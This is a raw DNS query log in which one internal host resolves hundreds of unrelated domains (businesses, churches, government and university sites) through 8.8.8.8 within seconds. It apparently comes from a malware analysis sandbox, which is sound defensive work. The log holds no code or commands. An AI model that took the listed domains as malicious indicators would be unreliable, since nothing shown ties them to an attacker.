May 31, 2023 14:51:58.635727882 CEST	192.168.2.3	8.8.8.8	0xbacf	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.637270927 CEST	192.168.2.3	8.8.8.8	0x91eb	Standard query (0)	89gospel.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.684370995 CEST	192.168.2.3	8.8.8.8	0x8c33	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.848655939 CEST	192.168.2.3	8.8.8.8	0x224	Standard query (0)	any-s.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.853847027 CEST	192.168.2.3	8.8.8.8	0x9625	Standard query (0)	assideum.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.861690998 CEST	192.168.2.3	8.8.8.8	0x7ac1	Standard query (0)	cjcagent.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.866339922 CEST	192.168.2.3	8.8.8.8	0x86ef	Standard query (0)	simetar.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.870417118 CEST	192.168.2.3	8.8.8.8	0xf8a7	Standard query (0)	cnti.krsn.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.885202885 CEST	192.168.2.3	8.8.8.8	0x1820	Standard query (0)	t-trust.jp	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.893600941 CEST	192.168.2.3	8.8.8.8	0xfb35	Standard query (0)	pleszew.policja.gov.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.902422905 CEST	192.168.2.3	8.8.8.8	0x313f	Standard query (0)	4locals.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.904449940 CEST	192.168.2.3	8.8.8.8	0x954	Standard query (0)	ssm.ch	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.910957098 CEST	192.168.2.3	8.8.8.8	0x3611	Standard query (0)	muhr-soehne.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.916660070 CEST	192.168.2.3	8.8.8.8	0xe43b	Standard query (0)	com-edit.fr	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.921205044 CEST	192.168.2.3	8.8.8.8	0xbfab	Standard query (0)	skgm.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.940637112 CEST	192.168.2.3	8.8.8.8	0x1844	Standard query (0)	banvari.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.962632895 CEST	192.168.2.3	8.8.8.8	0x6864	Standard query (0)	at-shun.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.977196932 CEST	192.168.2.3	8.8.8.8	0xbe9a	Standard query (0)	metaforacom.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.987844944 CEST	192.168.2.3	8.8.8.8	0xecc8	Standard query (0)	calvinly.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.034543991 CEST	192.168.2.3	8.8.8.8	0xa96a	Standard query (0)	bible.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.059561014 CEST	192.168.2.3	8.8.8.8	0x3d15	Standard query (0)	awal.ws	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.067491055 CEST	192.168.2.3	8.8.8.8	0xdd31	Standard query (0)	dbnet.at	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.096646070 CEST	192.168.2.3	8.8.8.8	0x94a2	Standard query (0)	any-s.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.194165945 CEST	192.168.2.3	8.8.8.8	0xa042	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.208731890 CEST	192.168.2.3	8.8.8.8	0x278	Standard query (0)	strazynski.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.212923050 CEST	192.168.2.3	8.8.8.8	0x7eef	Standard query (0)	forbin.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.223473072 CEST	192.168.2.3	8.8.8.8	0x4e2b	Standard query (0)	camamat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.280570030 CEST	192.168.2.3	8.8.8.8	0x5cf6	Standard query (0)	diamir.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.290790081 CEST	192.168.2.3	8.8.8.8	0xc3da	Standard query (0)	shiner.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.327147961 CEST	192.168.2.3	8.8.8.8	0x602c	Standard query (0)	paraski.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.352782011 CEST	192.168.2.3	8.8.8.8	0xdf5f	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.443713903 CEST	192.168.2.3	8.8.8.8	0xad84	Standard query (0)	impexnc.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.487571001 CEST	192.168.2.3	8.8.8.8	0xc385	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.489454031 CEST	192.168.2.3	8.8.8.8	0xbfd3	Standard query (0)	web-york.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.501034021 CEST	192.168.2.3	8.8.8.8	0xab0f	Standard query (0)	h-et-l.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.542049885 CEST	192.168.2.3	8.8.8.8	0x4611	Standard query (0)	slower.it	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.546876907 CEST	192.168.2.3	8.8.8.8	0xa161	Standard query (0)	sjbmw.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.562525988 CEST	192.168.2.3	8.8.8.8	0xabfe	Standard query (0)	reproar.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.581098080 CEST	192.168.2.3	8.8.8.8	0x90eb	Standard query (0)	leapc.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.584531069 CEST	192.168.2.3	8.8.8.8	0xa41a	Standard query (0)	redgiga.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.596127987 CEST	192.168.2.3	8.8.8.8	0xd362	Standard query (0)	kallman.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.612442970 CEST	192.168.2.3	8.8.8.8	0x2670	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.633754015 CEST	192.168.2.3	8.8.8.8	0x8480	Standard query (0)	rkengg.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.636895895 CEST	192.168.2.3	8.8.8.8	0x3a58	Standard query (0)	cjcagent.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.644893885 CEST	192.168.2.3	8.8.8.8	0xf58	Standard query (0)	clinicasanluis.com.co	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.646534920 CEST	192.168.2.3	8.8.8.8	0xbba6	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.656764984 CEST	192.168.2.3	8.8.8.8	0x8948	Standard query (0)	sgk.home.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.657501936 CEST	192.168.2.3	8.8.8.8	0x65f1	Standard query (0)	assideum.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.666194916 CEST	192.168.2.3	8.8.8.8	0x11df	Standard query (0)	sigtoa.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.669260025 CEST	192.168.2.3	8.8.8.8	0xe811	Standard query (0)	cjcagent.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.672658920 CEST	192.168.2.3	8.8.8.8	0x78c2	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.677516937 CEST	192.168.2.3	8.8.8.8	0x98b3	Standard query (0)	cpwpb.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.712701082 CEST	192.168.2.3	8.8.8.8	0xa3ad	Standard query (0)	oaith.ca	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.735905886 CEST	192.168.2.3	8.8.8.8	0x1f37	Standard query (0)	ifesnet.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.776905060 CEST	192.168.2.3	8.8.8.8	0x8444	Standard query (0)	www.diamir.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.795310974 CEST	192.168.2.3	8.8.8.8	0x741a	Standard query (0)	kumaden.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.806788921 CEST	192.168.2.3	8.8.8.8	0x1c0d	Standard query (0)	s5w.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.823553085 CEST	192.168.2.3	8.8.8.8	0xedd5	Standard query (0)	akdeniz.nl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.826198101 CEST	192.168.2.3	8.8.8.8	0x68a0	Standard query (0)	mackusick.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.827759027 CEST	192.168.2.3	8.8.8.8	0x3151	Standard query (0)	gbmfg.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.834783077 CEST	192.168.2.3	8.8.8.8	0x9b13	Standard query (0)	karmy.com.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.838896036 CEST	192.168.2.3	8.8.8.8	0xc6de	Standard query (0)	roewer.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.845812082 CEST	192.168.2.3	8.8.8.8	0xd508	Standard query (0)	dhh.la.gov	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.880522013 CEST	192.168.2.3	8.8.8.8	0x8035	Standard query (0)	karmy.com.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.938569069 CEST	192.168.2.3	8.8.8.8	0x9592	Standard query (0)	rappich.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.948254108 CEST	192.168.2.3	8.8.8.8	0x431	Standard query (0)	acraloc.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.956687927 CEST	192.168.2.3	8.8.8.8	0x66e1	Standard query (0)	hyab.se	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.038872957 CEST	192.168.2.3	8.8.8.8	0x54ce	Standard query (0)	rokoron.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.043061972 CEST	192.168.2.3	8.8.8.8	0x5bb2	Standard query (0)	ramkome.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.127060890 CEST	192.168.2.3	8.8.8.8	0x8107	Standard query (0)	wahw.com.au	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.148426056 CEST	192.168.2.3	8.8.8.8	0x92b6	Standard query (0)	nels.co.uk	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.150060892 CEST	192.168.2.3	8.8.8.8	0xf45f	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.157800913 CEST	192.168.2.3	8.8.8.8	0x2338	Standard query (0)	icd-host.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.169850111 CEST	192.168.2.3	8.8.8.8	0x3b47	Standard query (0)	ldh.la.gov	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.172524929 CEST	192.168.2.3	8.8.8.8	0xb29d	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.208091021 CEST	192.168.2.3	8.8.8.8	0xaeb1	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.208091021 CEST	192.168.2.3	8.8.8.8	0x82a4	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.226178885 CEST	192.168.2.3	8.8.8.8	0xb1b	Standard query (0)	orbitgas.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.227066994 CEST	192.168.2.3	8.8.8.8	0xe171	Standard query (0)	mjrcpas.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.233939886 CEST	192.168.2.3	8.8.8.8	0xbb68	Standard query (0)	karila.fr	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.233939886 CEST	192.168.2.3	8.8.8.8	0x2317	Standard query (0)	insia.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.236020088 CEST	192.168.2.3	8.8.8.8	0xa042	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.277062893 CEST	192.168.2.3	8.8.8.8	0x59f0	Standard query (0)	hyab.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.300910950 CEST	192.168.2.3	8.8.8.8	0xbfd8	Standard query (0)	cpmteam.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.348402023 CEST	192.168.2.3	8.8.8.8	0xaa32	Standard query (0)	orlyhotel.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.368542910 CEST	192.168.2.3	8.8.8.8	0xb18a	Standard query (0)	htsmx.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.375330925 CEST	192.168.2.3	8.8.8.8	0x83d	Standard query (0)	holp-ai.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.436319113 CEST	192.168.2.3	8.8.8.8	0x602	Standard query (0)	shesfit.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.439774990 CEST	192.168.2.3	8.8.8.8	0x80ed	Standard query (0)	magicomm.co.uk	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.458281994 CEST	192.168.2.3	8.8.8.8	0xe3f6	Standard query (0)	redgiga.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.478961945 CEST	192.168.2.3	8.8.8.8	0x26bd	Standard query (0)	notis.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.553284883 CEST	192.168.2.3	8.8.8.8	0x1567	Standard query (0)	willsub.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.556173086 CEST	192.168.2.3	8.8.8.8	0x40d9	Standard query (0)	invictus.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.606621027 CEST	192.168.2.3	8.8.8.8	0xd1f3	Standard query (0)	alexpope.biz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.610661030 CEST	192.168.2.3	8.8.8.8	0x2670	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.648308039 CEST	192.168.2.3	8.8.8.8	0x974	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.658011913 CEST	192.168.2.3	8.8.8.8	0x523d	Standard query (0)	invictus.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.662111998 CEST	192.168.2.3	8.8.8.8	0x7e53	Standard query (0)	ntc.edu.au	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.694128990 CEST	192.168.2.3	8.8.8.8	0xc09b	Standard query (0)	bossinst.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.696602106 CEST	192.168.2.3	8.8.8.8	0x4121	Standard query (0)	bible.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.700398922 CEST	192.168.2.3	8.8.8.8	0xb255	Standard query (0)	h-et-l.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.707690001 CEST	192.168.2.3	8.8.8.8	0x8c01	Standard query (0)	alexpope.biz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.736989975 CEST	192.168.2.3	8.8.8.8	0x713f	Standard query (0)	sledsport.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.739242077 CEST	192.168.2.3	8.8.8.8	0x13a	Standard query (0)	invictus.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.755880117 CEST	192.168.2.3	8.8.8.8	0x904	Standard query (0)	h-et-l.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.789798975 CEST	192.168.2.3	8.8.8.8	0xd78d	Standard query (0)	h-et-l.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.832597017 CEST	192.168.2.3	8.8.8.8	0x4cbc	Standard query (0)	likangds.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.863111019 CEST	192.168.2.3	8.8.8.8	0x4500	Standard query (0)	anteph.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.885674953 CEST	192.168.2.3	8.8.8.8	0xa665	Standard query (0)	anteph.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.889791012 CEST	192.168.2.3	8.8.8.8	0xe9a0	Standard query (0)	lyto.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.911622047 CEST	192.168.2.3	8.8.8.8	0x7c84	Standard query (0)	anteph.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.080523968 CEST	192.168.2.3	8.8.8.8	0xdb2b	Standard query (0)	s5w.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.253756046 CEST	192.168.2.3	8.8.8.8	0xde90	Standard query (0)	averwin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.363523960 CEST	192.168.2.3	8.8.8.8	0xa042	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.452368975 CEST	192.168.2.3	8.8.8.8	0x3ba1	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.539695978 CEST	192.168.2.3	8.8.8.8	0xfdad	Standard query (0)	nels.co.uk	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.581098080 CEST	192.168.2.3	8.8.8.8	0xa722	Standard query (0)	anteph.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.589701891 CEST	192.168.2.3	8.8.8.8	0xa830	Standard query (0)	a-domani.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.641433001 CEST	192.168.2.3	8.8.8.8	0x523b	Standard query (0)	captlfix.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.648149014 CEST	192.168.2.3	8.8.8.8	0x20a4	Standard query (0)	ifesnet.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.651264906 CEST	192.168.2.3	8.8.8.8	0x7c06	Standard query (0)	dayvo.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.687128067 CEST	192.168.2.3	8.8.8.8	0xb835	Standard query (0)	wvs-net.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.689461946 CEST	192.168.2.3	8.8.8.8	0x1051	Standard query (0)	uhsa.edu.ag	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.690548897 CEST	192.168.2.3	8.8.8.8	0xa204	Standard query (0)	semuk.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.776890039 CEST	192.168.2.3	8.8.8.8	0x7ad3	Standard query (0)	lyto.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.779650927 CEST	192.168.2.3	8.8.8.8	0xe826	Standard query (0)	jnf.at	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.781172037 CEST	192.168.2.3	8.8.8.8	0xd095	Standard query (0)	nme.co.jp	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.782484055 CEST	192.168.2.3	8.8.8.8	0xd842	Standard query (0)	kavram.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.810664892 CEST	192.168.2.3	8.8.8.8	0xa730	Standard query (0)	pcoyuncu.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.811662912 CEST	192.168.2.3	8.8.8.8	0xf7b5	Standard query (0)	ascc.org.au	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.812210083 CEST	192.168.2.3	8.8.8.8	0xc44d	Standard query (0)	ossir.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.813572884 CEST	192.168.2.3	8.8.8.8	0x2295	Standard query (0)	zugseil.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.813760042 CEST	192.168.2.3	8.8.8.8	0x646f	Standard query (0)	rappich.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.822973967 CEST	192.168.2.3	8.8.8.8	0x974	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.841401100 CEST	192.168.2.3	8.8.8.8	0x4e22	Standard query (0)	sledsport.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.841999054 CEST	192.168.2.3	8.8.8.8	0xf9c0	Standard query (0)	web-york.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.842648983 CEST	192.168.2.3	8.8.8.8	0x6afa	Standard query (0)	captlfix.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.843219995 CEST	192.168.2.3	8.8.8.8	0x9a34	Standard query (0)	snf.it	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.844578981 CEST	192.168.2.3	8.8.8.8	0xd26e	Standard query (0)	samtv.ro	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.844866991 CEST	192.168.2.3	8.8.8.8	0xbcdc	Standard query (0)	shiner.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.845232010 CEST	192.168.2.3	8.8.8.8	0x1858	Standard query (0)	simetar.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.845504999 CEST	192.168.2.3	8.8.8.8	0xf392	Standard query (0)	rast.se	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.868853092 CEST	192.168.2.3	8.8.8.8	0xf699	Standard query (0)	cvswl.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.874835014 CEST	192.168.2.3	8.8.8.8	0x7479	Standard query (0)	anteph.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.876331091 CEST	192.168.2.3	8.8.8.8	0xc5d0	Standard query (0)	themark.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.894301891 CEST	192.168.2.3	8.8.8.8	0x4f3a	Standard query (0)	kustnara.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.894586086 CEST	192.168.2.3	8.8.8.8	0x86b7	Standard query (0)	themark.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.895370960 CEST	192.168.2.3	8.8.8.8	0x69b6	Standard query (0)	yasuma.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.895826101 CEST	192.168.2.3	8.8.8.8	0x5a08	Standard query (0)	nettlinx.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.900240898 CEST	192.168.2.3	8.8.8.8	0x73c	Standard query (0)	johnlyon.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.908587933 CEST	192.168.2.3	8.8.8.8	0x5add	Standard query (0)	dog-jog.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.921250105 CEST	192.168.2.3	8.8.8.8	0x36c3	Standard query (0)	cvswl.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.922652006 CEST	192.168.2.3	8.8.8.8	0x667f	Standard query (0)	zupraha.cz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.931862116 CEST	192.168.2.3	8.8.8.8	0x3872	Standard query (0)	biosolve.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.933021069 CEST	192.168.2.3	8.8.8.8	0x11b1	Standard query (0)	n23china.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.933339119 CEST	192.168.2.3	8.8.8.8	0x747d	Standard query (0)	ossir.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.934838057 CEST	192.168.2.3	8.8.8.8	0x6dda	Standard query (0)	burstner.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.936741114 CEST	192.168.2.3	8.8.8.8	0x27be	Standard query (0)	siongann.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.938807011 CEST	192.168.2.3	8.8.8.8	0x9669	Standard query (0)	enguita.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.945867062 CEST	192.168.2.3	8.8.8.8	0xa777	Standard query (0)	kamptal.at	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.947324038 CEST	192.168.2.3	8.8.8.8	0x73b9	Standard query (0)	pellys.co.uk	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.951972961 CEST	192.168.2.3	8.8.8.8	0x401e	Standard query (0)	anteph.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.953587055 CEST	192.168.2.3	8.8.8.8	0xc4e8	Standard query (0)	aiolos-sa.gr	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.963557005 CEST	192.168.2.3	8.8.8.8	0x91eb	Standard query (0)	avse.hu	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.966824055 CEST	192.168.2.3	8.8.8.8	0xc5c	Standard query (0)	johnlyon.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.968327045 CEST	192.168.2.3	8.8.8.8	0xf29f	Standard query (0)	vvsteknik.dk	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.978360891 CEST	192.168.2.3	8.8.8.8	0xae6d	Standard query (0)	notis.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.986561060 CEST	192.168.2.3	8.8.8.8	0x8677	Standard query (0)	floopis.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.989118099 CEST	192.168.2.3	8.8.8.8	0x7743	Standard query (0)	cvswl.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.991997004 CEST	192.168.2.3	8.8.8.8	0x420e	Standard query (0)	mijash3.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.993702888 CEST	192.168.2.3	8.8.8.8	0x9e96	Standard query (0)	ssm.ch	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.997687101 CEST	192.168.2.3	8.8.8.8	0xec0e	Standard query (0)	fogra.com.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.999429941 CEST	192.168.2.3	8.8.8.8	0xe2f5	Standard query (0)	top1oil.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.003700018 CEST	192.168.2.3	8.8.8.8	0xab3b	Standard query (0)	fortknox.bm	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.011346102 CEST	192.168.2.3	8.8.8.8	0xed18	Standard query (0)	xult.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.012809992 CEST	192.168.2.3	8.8.8.8	0x2b35	Standard query (0)	tcpoa.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.013803005 CEST	192.168.2.3	8.8.8.8	0xc396	Standard query (0)	onzcda.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.016036034 CEST	192.168.2.3	8.8.8.8	0x41bf	Standard query (0)	komie.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.017744064 CEST	192.168.2.3	8.8.8.8	0x4313	Standard query (0)	n23china.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.040147066 CEST	192.168.2.3	8.8.8.8	0xa8f3	Standard query (0)	n23china.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.044944048 CEST	192.168.2.3	8.8.8.8	0x5ad0	Standard query (0)	fundeo.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.051115036 CEST	192.168.2.3	8.8.8.8	0xcbc2	Standard query (0)	infotech.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.056932926 CEST	192.168.2.3	8.8.8.8	0xd9a4	Standard query (0)	siongann.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.060206890 CEST	192.168.2.3	8.8.8.8	0xaed	Standard query (0)	mondopp.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.064220905 CEST	192.168.2.3	8.8.8.8	0x12b6	Standard query (0)	biurohera.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.068865061 CEST	192.168.2.3	8.8.8.8	0x5588	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.073470116 CEST	192.168.2.3	8.8.8.8	0x6dc7	Standard query (0)	nblewis.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.078325033 CEST	192.168.2.3	8.8.8.8	0xa95e	Standard query (0)	ciicsc.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.081044912 CEST	192.168.2.3	8.8.8.8	0x9f87	Standard query (0)	burstner.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.091917038 CEST	192.168.2.3	8.8.8.8	0x5b44	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.100701094 CEST	192.168.2.3	8.8.8.8	0x71a0	Standard query (0)	ciicsc.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.101227999 CEST	192.168.2.3	8.8.8.8	0x6de	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.105593920 CEST	192.168.2.3	8.8.8.8	0x687a	Standard query (0)	bosado.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.110883951 CEST	192.168.2.3	8.8.8.8	0xf988	Standard query (0)	amerifor.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.122674942 CEST	192.168.2.3	8.8.8.8	0xb060	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
